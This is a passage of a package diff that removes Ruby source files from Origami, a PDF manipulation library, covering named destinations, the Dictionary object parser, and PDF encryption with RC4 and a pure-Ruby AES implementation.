the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - # - # Lookup destination in the destination name directory. - # - def get_destination_by_name(name) - resolve_name Names::Root::DESTS, name - end - - # - # Calls block for each named destination. - # - def each_named_dest(&b) - each_name(Names::Root::DESTS, &b) - end - end - - # - # A destination represents a specified location into the document. - # - module Destination - - attr_reader :top, :left, :right, :bottom, :zoom - - # - # Class representing a Destination zooming on a part of a document. - # - class Zoom < Origami::Array - - include Destination - - # - # Creates a new zoom Destination. - # _pageref_:: A Reference to a Page. - # _left_, _top_:: Coords in the Page. - # _zoom_:: Zoom factor. - # - def initialize(pageref, left = 0, top = 0, zoom = 0) - - @left, @top, @zoom = left, top, zoom - - super([pageref, :XYZ, left, top, zoom]) - - end - - end - - # - # Class representing a Destination showing a Page globally. - # - class GlobalFit < Origami::Array - - include Destination - - # - # Creates a new global fit Destination. - # _pageref_:: A Reference to a Page. - # - def initialize(pageref) - super([pageref, :Fit]) - end - - end - - # - # Class representing a Destination fitting a Page horizontally. - # - class HorizontalFit < Origami::Array - - include Destination - - # - # Creates a new horizontal fit destination. - # _pageref_:: A Reference to a Page. - # _top_:: The vertical coord in the Page. - # - def initialize(pageref, top = 0) - - @top = top - super([pageref, :FitH, top]) - - end - - end - - # - # Class representing a Destination fitting a Page vertically. - # _pageref_:: A Reference to a Page. - # _left_:: The horizontal coord in the Page. - # - class VerticalFit < Origami::Array - - include Destination - - def initialize(pageref, left = 0) - - @left = left - super([pageref, :FitV, left]) - - end - - end - - # - # Class representing a Destination fitting the view on a rectangle in a Page. - # - class RectangleFit < Origami::Array - - include Destination - - # - # Creates a new rectangle fit Destination. - # _pageref_:: A Reference to a Page. - # _left_, _bottom_, _right_, _top_:: The rectangle to fit in. - # - def initialize(pageref, left = 0, bottom = 0, right = 0, top = 0) - - @left, @bottom, @right, @top = left, bottom, right, top - super([pageref, :FitR, left, bottom, right, top]) - - end - - end - - # - # Class representing a Destination fitting the bounding box of a Page. - # - class GlobalBoundingBoxFit < Origami::Array - - include Destination - - # - # Creates a new bounding box fit Destination. - # _pageref_:: A Reference to a Page. - # - def initialize(pageref) - super([pageref, :FitB]) - end - - end - - # - # Class representing a Destination fitting horizontally the bouding box a Page. - # - class HorizontalBoudingBoxFit < Origami::Array - - include Destination - - # - # Creates a new horizontal bounding box fit Destination. - # _pageref_:: A Reference to a Page. - # _top_:: The vertical coord. - # - def initialize(pageref, top = 0) - - @top = top - super([pageref, :FitBH, top]) - - end - - end - - # - # Class representing a Destination fitting vertically the bounding box of a Page. - # - class VerticalBoundingBoxFit < Origami::Array - - include Destination - - # - # Creates a new vertical bounding box fit Destination. - # _pageref_:: A Reference to a Page. - # _left_:: The horizontal coord. - # - def initialize(pageref, left = 0) - - @left = left - super([pageref, :FitBV, left]) - - end - - end - - end - -end diff -Nru origami-1.2.7/lib/origami/dictionary.rb origami-1.2.7+really0.7.4/lib/origami/dictionary.rb --- origami-1.2.7/lib/origami/dictionary.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/dictionary.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,272 +0,0 @@ -=begin -= File - dictionary.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume DelugrÈ - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class InvalidDictionaryObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing a Dictionary Object. - # Dictionaries are containers associating a Name to an embedded Object. - # - class Dictionary < Hash - include Origami::Object - - TOKENS = %w{ << >> } #:nodoc: - @@regexp_open = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.first) + WHITESPACES) - @@regexp_close = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.last) + WHITESPACES) - - @@cast_fingerprints = {} - attr_reader :strings_cache, :names_cache, :xref_cache - - # - # Creates a new Dictionary. - # _hash_:: The hash representing the new Dictionary. - # - def initialize(hash = {}) - raise TypeError, "Expected type Hash, received #{hash.class}." unless hash.is_a?(Hash) - super() - - @strings_cache = [] - @names_cache = [] - @xref_cache = {} - - hash.each_pair do |k,v| - @names_cache.push(k.to_o) - case val = v.to_o - when String then @strings_cache.push(val) - when Name then @names_cache.push(val) - when Reference then - (@xref_cache[val] ||= []).push(self) - when Dictionary,Array then - @strings_cache.concat(val.strings_cache) - @names_cache.concat(val.names_cache) - @xref_cache.update(val.xref_cache) do |ref, cache1, cache2| - cache1.concat(cache2) - end - - val.strings_cache.clear - val.names_cache.clear - val.xref_cache.clear - end - - self[k.to_o] = val unless k.nil? - end - end - - def self.parse(stream, parser = nil) #:nodoc: - - offset = stream.pos - - if stream.skip(@@regexp_open).nil? - raise InvalidDictionaryObjectError, "No token '#{TOKENS.first}' found" - end - - pairs = {} - while stream.skip(@@regexp_close).nil? do - key = Name.parse(stream, parser) - - type = Object.typeof(stream) - if type.nil? - raise InvalidDictionaryObjectError, "Invalid object for field #{key.to_s}" - end - - value = type.parse(stream, parser) - pairs[key] = value - end - - dict = - if Origami::OPTIONS[:enable_type_guessing] - guessed_type = self.guess_type(pairs) - - if Origami::OPTIONS[:enable_type_propagation] - guessed_type.new( - Hash[ - pairs.map {|key, value| - hint_type = guessed_type.hint_type(key.value) - if hint_type.is_a?(::Array) and not value.is_a?(Reference) # Choose best match - hint_type.find {|type| type.native_type == value.native_type} - end - - if hint_type.is_a?(Class) and hint_type.native_type == value.native_type - [key, value.cast_to(hint_type)] - elsif hint_type and value.is_a?(Reference) and parser - parser.defer_type_cast(value, hint_type) - [key, value] - else - [key, value] - end - }]) - else - guessed_type.new(pairs) - end - else - self.new(pairs) - end - - dict.file_offset = offset - - dict - end - - alias to_h to_hash - - def to_s(indent = 1) #:nodoc: - if indent > 0 - content = TOKENS.first + EOL - self.each_pair do |key,value| - content << "\t" * indent + key.to_s + " " + (value.is_a?(Dictionary) ? value.to_s(indent + 1) : value.to_s) + EOL - end - - content << "\t" * (indent - 1) + TOKENS.last - else - content = TOKENS.first.dup - self.each_pair do |key,value| - content << "#{key.to_s} #{value.is_a?(Dictionary) ? value.to_s(0) : value.to_s}" - end - content << TOKENS.last - end - - super(content) - end - - def map!(&b) - self.each_pair do |k,v| - self[k] = b.call(v) - end - end - - def merge(dict) - Dictionary.new(super(dict)) - end - - def []=(key,val) - unless key.is_a?(Symbol) or key.is_a?(Name) - fail "Expecting a Name for a Dictionary entry, found #{key.class} instead." - end - - key = key.to_o - if not val.nil? - val = val.to_o - super(key,val) - - key.parent = self - val.parent = self unless val.is_indirect? or val.parent.equal?(self) - - val - else - delete(key) - end - end - - def [](key) - super(key.to_o) - end - - def has_key?(key) - super(key.to_o) - end - - def delete(key) - super(key.to_o) - end - - def cast_to(type) - super(type) - - cast = type.new(self) - cast.parent = self.parent - cast.no, cast.generation = self.no, self.generation - if self.is_indirect? - cast.set_indirect(true) - cast.set_pdf(self.pdf) - cast.file_offset = self.file_offset # cast can replace self - end - - cast.xref_cache.update(self.xref_cache) - cast.names_cache.concat(self.names_cache) - cast.strings_cache.concat(self.strings_cache) - - cast - end - - alias each each_value - - alias value to_h - - def method_missing(field, *args) #:nodoc: - raise NoMethodError, "No method `#{field}' for #{self.class}" unless field.to_s[0,1] =~ /[A-Z]/ - - if field.to_s[-1,1] == '=' - self[field.to_s[0..-2].to_sym] = args.first - else - obj = self[field]; - obj.is_a?(Reference) ? obj.solve : obj - end - end - - def copy - copy = self.class.new - self.each_pair do |k,v| - copy[k] = v.copy - end - - copy.parent = @parent - copy.no, copy.generation = @no, @generation - copy.set_indirect(true) if is_indirect? - copy.set_pdf(@pdf) if is_indirect? - copy - end - - def self.native_type; Dictionary end - - def self.add_type_info(typeclass, key, value) #:nodoc: - if not @@cast_fingerprints.has_key?(typeclass) and typeclass.superclass != Dictionary and - @@cast_fingerprints.has_key?(typeclass.superclass) - @@cast_fingerprints[typeclass] = @@cast_fingerprints[typeclass.superclass].dup - end - - @@cast_fingerprints[typeclass] ||= {} - @@cast_fingerprints[typeclass][key.to_o] = value.to_o - end - - def self.guess_type(hash) #:nodoc: - best_type = self - - @@cast_fingerprints.each_pair do |typeclass, keys| - best_type = typeclass if keys.all? { |k,v| - hash.has_key?(k) and hash[k] == v - } and typeclass < best_type - end - - best_type - end - - def self.hint_type(name); nil end #:nodoc: - - end #class - -end -# Origami diff -Nru origami-1.2.7/lib/origami/encryption.rb origami-1.2.7+really0.7.4/lib/origami/encryption.rb --- origami-1.2.7/lib/origami/encryption.rb 2013-05-19 16:31:18.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/encryption.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,1404 +0,0 @@ -=begin - -= File - encryption.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume DelugrÈ - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'openssl' if Origami::OPTIONS[:use_openssl] -rescue LoadError - Origami::OPTIONS[:use_openssl] = false -end - -require 'digest/md5' -require 'digest/sha2' - -module Origami - - class EncryptionError < Exception #:nodoc: - end - - class EncryptionInvalidPasswordError < EncryptionError #:nodoc: - end - - class EncryptionNotSupportedError < EncryptionError #:nodoc: - end - - class PDF - - # - # Returns whether the PDF file is encrypted. - # - def is_encrypted? - has_attr? :Encrypt - end - - # - # Decrypts the current document (only RC4 40..128 bits). - # _passwd_:: The password to decrypt the document. - # - def decrypt(passwd = "") - - unless self.is_encrypted? - raise EncryptionError, "PDF is not encrypted" - end - - encrypt_dict = get_doc_attr(:Encrypt) - handler = Encryption::Standard::Dictionary.new(encrypt_dict.dup) - - unless handler.Filter == :Standard - raise EncryptionNotSupportedError, "Unknown security handler : '#{handler.Filter.to_s}'" - end - - case handler.V.to_i - when 1,2 then str_algo = stm_algo = Encryption::ARC4 - when 4,5 - if handler[:CF].is_a?(Dictionary) - cfs = handler[:CF] - - if handler[:StrF].is_a?(Name) and cfs[handler[:StrF]].is_a?(Dictionary) - cfdict = cfs[handler[:StrF]] - - str_algo = - if cfdict[:CFM] == :V2 then Encryption::ARC4 - elsif cfdict[:CFM] == :AESV2 then Encryption::AES - elsif cfdict[:CFM] == :None then Encryption::Identity - elsif cfdict[:CFM] == :AESV3 and handler.V.to_i == 5 then Encryption::AES - else - raise EncryptionNotSupportedError, "Unsupported encryption version : #{handler.V}" - end - else - str_algo = Encryption::Identity - end - - if handler[:StmF].is_a?(Name) and cfs[handler[:StmF]].is_a?(Dictionary) - cfdict = cfs[handler[:StmF]] - - stm_algo = - if cfdict[:CFM] == :V2 then Encryption::ARC4 - elsif cfdict[:CFM] == :AESV2 then Encryption::AES - elsif cfdict[:CFM] == :None then Encryption::Identity - elsif cfdict[:CFM] == :AESV3 and handler.V.to_i == 5 then Encryption::AES - else - raise EncryptionNotSupportedError, "Unsupported encryption version : #{handler.V}" - end - else - stm_algo = Encryption::Identity - end - - else - str_algo = stm_algo = Encryption::Identity - end - - else - raise EncryptionNotSupportedError, "Unsupported encryption version : #{handler.V}" - end - - doc_id = get_doc_attr(:ID) - unless doc_id.is_a?(Array) - raise EncryptionError, "Document ID was not found or is invalid" unless handler.V.to_i == 5 - else - doc_id = doc_id.first - end - - if handler.is_user_password?(passwd, doc_id) - encryption_key = handler.compute_user_encryption_key(passwd, doc_id) - elsif handler.is_owner_password?(passwd, doc_id) - if handler.V.to_i < 5 - user_passwd = handler.retrieve_user_password(passwd) - encryption_key = handler.compute_user_encryption_key(user_passwd, doc_id) - else - encryption_key = handler.compute_owner_encryption_key(passwd) - end - else - raise EncryptionInvalidPasswordError - end - - - #self.extend(Encryption::EncryptedDocument) - #self.encryption_dict = encrypt_dict - #self.encryption_key = encryption_key - #self.stm_algo = self.str_algo = algorithm - - encrypt_metadata = (handler.EncryptMetadata != false) - - self.extend(Encryption::EncryptedDocument) - self.encryption_dict = handler - self.encryption_key = encryption_key - self.stm_algo,self.str_algo = stm_algo,str_algo - - # - # Should be fixed to exclude only the active XRefStream - # - metadata = self.Catalog.Metadata - - self.indirect_objects.each do |indobj| - encrypted_objects = [] - case indobj - when String,Stream then encrypted_objects << indobj - when Dictionary,Array then encrypted_objects |= indobj.strings_cache - end - - encrypted_objects.each do |obj| - - case obj - when String - next if obj.equal?(encrypt_dict[:U]) or - obj.equal?(encrypt_dict[:O]) or - obj.equal?(encrypt_dict[:UE]) or - obj.equal?(encrypt_dict[:OE]) or - obj.equal?(encrypt_dict[:Perms]) or - (obj.parent.is_a?(Signature::DigitalSignature) and obj.equal?(obj.parent[:Contents])) - - obj.extend(Encryption::EncryptedString) unless obj.is_a?(Encryption::EncryptedString) - obj.encryption_handler = handler - obj.encryption_key = encryption_key - obj.algorithm = str_algo - obj.decrypt! - - when Stream - next if obj.is_a?(XRefStream) or (not encrypt_metadata and obj.equal?(metadata)) - obj.extend(Encryption::EncryptedStream) unless obj.is_a?(Encryption::EncryptedStream) - obj.encryption_handler = handler - obj.encryption_key = encryption_key - obj.algorithm = stm_algo - end - end - end - - self - end - - # - # Encrypts the current document with the provided passwords. - # The document will be encrypted at writing-on-disk time. - # _userpasswd_:: The user password. - # _ownerpasswd_:: The owner password. - # _options_:: A set of options to configure encryption. - # - def encrypt(options = {}) - - if self.is_encrypted? - raise EncryptionError, "PDF is already encrypted" - end - - # - # Default encryption options. - # - params = - { - :user_passwd => '', - :owner_passwd => '', - :cipher => 'rc4', # :RC4 or :AES - :key_size => 128, # Key size in bits - :hardened => false, # Use newer password validation (since Reader X) - :encrypt_metadata => true, # Metadata shall be encrypted? - :permissions => Encryption::Standard::Permissions::ALL # Document permissions - }.update(options) - - userpasswd, ownerpasswd = params[:user_passwd], params[:owner_passwd] - - case params[:cipher].upcase - when 'RC4' - algorithm = Encryption::ARC4 - if (40..128) === params[:key_size] and params[:key_size] % 8 == 0 - if params[:key_size] > 40 - version = 2 - revision = 3 - else - version = 1 - revision = 2 - end - else - raise EncryptionError, "Invalid RC4 key length" - end - when 'AES' - algorithm = Encryption::AES - if params[:key_size] == 128 - version = revision = 4 - elsif params[:key_size] == 256 - version = 5 - if params[:hardened] - revision = 6 - else - revision = 5 - end - else - raise EncryptionError, "Invalid AES key length (Only 128 and 256 bits keys are supported)" - end - else - raise EncryptionNotSupportedError, "Cipher not supported : #{params[:cipher]}" - end - - doc_id = (get_doc_attr(:ID) || gen_id).first - - handler = Encryption::Standard::Dictionary.new - handler.Filter = :Standard #:nodoc: - handler.V = version - handler.R = revision - handler.Length = params[:key_size] - handler.P = -1 # params[:Permissions] - - if revision >= 4 - handler.EncryptMetadata = params[:encrypt_metadata] - handler.CF = Dictionary.new - cryptfilter = Encryption::CryptFilterDictionary.new - cryptfilter.AuthEvent = :DocOpen - - if revision == 4 - cryptfilter.CFM = :AESV2 - else - cryptfilter.CFM = :AESV3 - end - - cryptfilter.Length = params[:key_size] >> 3 - - handler.CF[:StdCF] = cryptfilter - handler.StmF = handler.StrF = :StdCF - end - - handler.set_passwords(ownerpasswd, userpasswd, doc_id) - encryption_key = handler.compute_user_encryption_key(userpasswd, doc_id) - - fileInfo = get_trailer_info - fileInfo[:Encrypt] = self << handler - - self.extend(Encryption::EncryptedDocument) - self.encryption_dict = handler - self.encryption_key = encryption_key - self.stm_algo = self.str_algo = algorithm - - self - end - - end - - # - # Module to provide support for encrypting and decrypting PDF documents. - # - module Encryption - - # - # Generates _n_ random bytes from a fast PRNG. - # - def self.rand_bytes(n) - ::Array.new(n) { rand(256) }.pack("C*") - end - - # - # Generates _n_ random bytes from a crypto PRNG. - # - def self.strong_rand_bytes(n) - if Origami::OPTIONS[:use_openssl] - OpenSSL::Random.random_bytes(n) - elsif RUBY_VERSION >= '1.9' - Random.new.bytes(n) - else - self.rand_bytes(n) - end - end - - module EncryptedDocument - - attr_writer :encryption_key - attr_writer :encryption_dict - attr_writer :stm_algo - attr_writer :str_algo - - private - - def physicalize(options = {}) - - def build(obj, revision, options) #:nodoc: - if obj.is_a?(EncryptedObject) # already built - if options[:decrypt] == true - obj.pre_build - obj.decrypt! - obj.decrypted = false # makes it believe no encryption pass is required - obj.post_build - end - - return - end - - if obj.is_a?(ObjectStream) - obj.each do |subobj| - build(subobj, revision, options) - end - end - - obj.pre_build - - case obj - when String - if not obj.equal?(@encryption_dict[:U]) and - not obj.equal?(@encryption_dict[:O]) and - not obj.equal?(@encryption_dict[:UE]) and - not obj.equal?(@encryption_dict[:OE]) and - not obj.equal?(@encryption_dict[:Perms]) and - not (obj.parent.is_a?(Signature::DigitalSignature) and obj.equal?(obj.parent[:Contents])) and - not obj.indirect_parent.parent.is_a?(ObjectStream) - - obj.extend(EncryptedString) - obj.decrypted = true - obj.encryption_handler = @encryption_dict - obj.encryption_key = @encryption_key - obj.algorithm = @str_algo - end - - when Stream - return if obj.is_a?(XRefStream) - return if obj.equal?(self.Catalog.Metadata) and not @encryption_dict.EncryptMetadata - obj.extend(EncryptedStream) - obj.decrypted = true - obj.encryption_handler = @encryption_dict - obj.encryption_key = @encryption_key - obj.algorithm = @stm_algo - - when Dictionary, Array - obj.map! do |subobj| - if subobj.is_indirect? - if get_object(subobj.reference) - subobj.reference - else - ref = add_to_revision(subobj, revision) - build(subobj, revision, options) - ref - end - else - subobj - end - end - - obj.each do |subobj| - build(subobj, revision, options) - end - end - - obj.post_build - end - - # stack up every root objects - indirect_objects_by_rev.each do |obj, revision| - build(obj, revision, options) - end - - # remove encrypt dictionary if requested - if options[:decrypt] - delete_object(get_trailer_info[:Encrypt]) - get_trailer_info[:Encrypt] = nil - end - - self - end - - end - - # - # Module for encrypted PDF objects. - # - module EncryptedObject #:nodoc - - attr_writer :encryption_key - attr_writer :algorithm - attr_writer :encryption_handler - attr_accessor :decrypted - - def self.extended(obj) - obj.decrypted = false - end - - def post_build - encrypt! - - super - end - - private - - def compute_object_key - if @encryption_handler.V < 5 - parent = self.indirect_parent - no, gen = parent.no, parent.generation - k = @encryption_key + [no].pack("I")[0..2] + [gen].pack("I")[0..1] - - key_len = (k.length > 16) ? 16 : k.length - k << "sAlT" if @algorithm == Encryption::AES - - Digest::MD5.digest(k)[0, key_len] - else - @encryption_key - end - end - - end - - # - # Module for encrypted String. - # - module EncryptedString - include EncryptedObject - - def encrypt! - if @decrypted - key = compute_object_key - - encrypted_data = - if @algorithm == ARC4 or @algorithm == Identity - @algorithm.encrypt(key, self.value) - else - iv = Encryption.rand_bytes(AES::BLOCKSIZE) - @algorithm.encrypt(key, iv, self.value) - end - - @decrypted = false - - self.replace(encrypted_data) - self.freeze - end - - self - end - - def decrypt! - unless @decrypted - key = compute_object_key - self.replace(@algorithm.decrypt(key, self.to_str)) - @decrypted = true - end - - self - end - end - - # - # Module for encrypted Stream. - # - module EncryptedStream - include EncryptedObject - - def encrypt! - if @decrypted - encode! - - key = compute_object_key - - @rawdata = - if @algorithm == ARC4 or @algorithm == Identity - @algorithm.encrypt(key, self.rawdata) - else - iv = Encryption.rand_bytes(AES::BLOCKSIZE) - @algorithm.encrypt(key, iv, @rawdata) - end - - @decrypted = false - - @rawdata.freeze - self.freeze - end - - self - end - - def decrypt! - unless @decrypted - key = compute_object_key - - self.rawdata = @algorithm.decrypt(key, @rawdata) - @decrypted = true - end - - self - end - - end - - # - # Identity transformation. - # - module Identity - def Identity.encrypt(key, data) - data - end - - def Identity.decrypt(key, data) - data - end - end - - # - # Pure Ruby implementation of the aRC4 symmetric algorithm - # - class ARC4 - - # - # Encrypts data using the given key - # - def ARC4.encrypt(key, data) - ARC4.new(key).encrypt(data) - end - - # - # Decrypts data using the given key - # - def ARC4.decrypt(key, data) - ARC4.new(key).decrypt(data) - end - - # - # Creates and initialises a new aRC4 generator using given key - # - def initialize(key) - if Origami::OPTIONS[:use_openssl] - @key = key - else - @state = init(key) - end - end - - # - # Encrypt/decrypt data with the aRC4 encryption algorithm - # - def cipher(data) - return "" if data.empty? - - if Origami::OPTIONS[:use_openssl] - rc4 = OpenSSL::Cipher::RC4.new.encrypt - rc4.key_len = @key.length - rc4.key = @key - - output = rc4.update(data) << rc4.final - else - output = "" - i, j = 0, 0 - data.each_byte do |byte| - i = i.succ & 0xFF - j = (j + @state[i]) & 0xFF - - @state[i], @state[j] = @state[j], @state[i] - - output << (@state[@state[i] + @state[j] & 0xFF] ^ byte).chr - end - end - - output - end - - alias encrypt cipher - alias decrypt cipher - - private - - def init(key) #:nodoc: - - state = (0..255).to_a - - j = 0 - 256.times do |i| - j = ( j + state[i] + key[i % key.size].ord ) & 0xFF - state[i], state[j] = state[j], state[i] - end - - state - end - - end - - # - # Pure Ruby implementation of the AES symmetric algorithm. - # Using mode CBC. - # - class AES - - NROWS = 4 - NCOLS = 4 - BLOCKSIZE = NROWS * NCOLS - - ROUNDS = - { - 16 => 10, - 24 => 12, - 32 => 14 - } - - # - # Rijndael S-box - # - SBOX = - [ - 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, - 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, - 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, - 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, - 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, - 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, - 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, - 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, - 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, - 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, - 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, - 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, - 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, - 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, - 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, - 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 - ] - - # - # Inverse of the Rijndael S-box - # - RSBOX = - [ - 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, - 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, - 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, - 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, - 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, - 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, - 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, - 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, - 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, - 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, - 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, - 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, - 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, - 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, - 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, - 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d - ] - - RCON = - [ - 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, - 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, - 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, - 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, - 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, - 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, - 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, - 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, - 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, - 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, - 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, - 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, - 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 